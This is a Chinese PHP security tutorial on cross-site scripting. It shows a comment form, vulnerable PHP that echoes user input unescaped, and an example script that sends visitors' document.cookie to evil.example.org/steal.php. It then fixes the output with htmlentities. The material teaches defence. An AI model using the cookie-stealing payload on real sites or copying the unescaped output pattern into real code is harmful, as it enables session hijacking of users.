首页  >  文章  >  后端开发  >  PHP安全-跨站脚本攻击

PHP安全-跨站脚本攻击

黄舟
黄舟原创
2017-02-22 09:23:262123浏览



 跨站脚本攻击

  跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。

  所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。

  以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:

CODE:

 

<form action="comment.php" method="POST"
/>
  <p>Name: <input type="text" name="name"
/><br />
  Comment: <textarea name="comment" rows="10"
cols="60"></textarea><br />
  <input type="submit" value="Add Comment"
/></p>
  </form>


程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):

CODE:

 

<?php
 
  echo "<p>$name writes:<br />";
  echo
"<blockquote>$comment</blockquote></p>";
 
  ?>


这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:

CODE:

 

<script>
  document.location =
    &#39;http://evil.example.org/steal.php?cookies=&#39;
+
    document.cookie
  </script>


如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的cookies。

  这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可

  最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。

  由此,用下面的代码来显示评论是更安全的:

CODE:

 

<?php
 
  $clean = array();
  $html = array();
 
  /* Filter Input ($name, $comment) */
 
  $html[&#39;name&#39;] = htmlentities($clean[&#39;name&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
  $html[&#39;comment&#39;] = htmlentities($clean[&#39;comment&#39;],
ENT_QUOTES, &#39;UTF-8&#39;);
 
  echo "<p>{$html[&#39;name&#39;]} writes:<br
/>";
  echo
"<blockquote>{$html[&#39;comment&#39;]}</blockquote></p>";
 
  ?>

以上就是PHP安全-跨站脚本攻击的内容,更多相关内容请关注PHP中文网(www.php.cn)!


声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn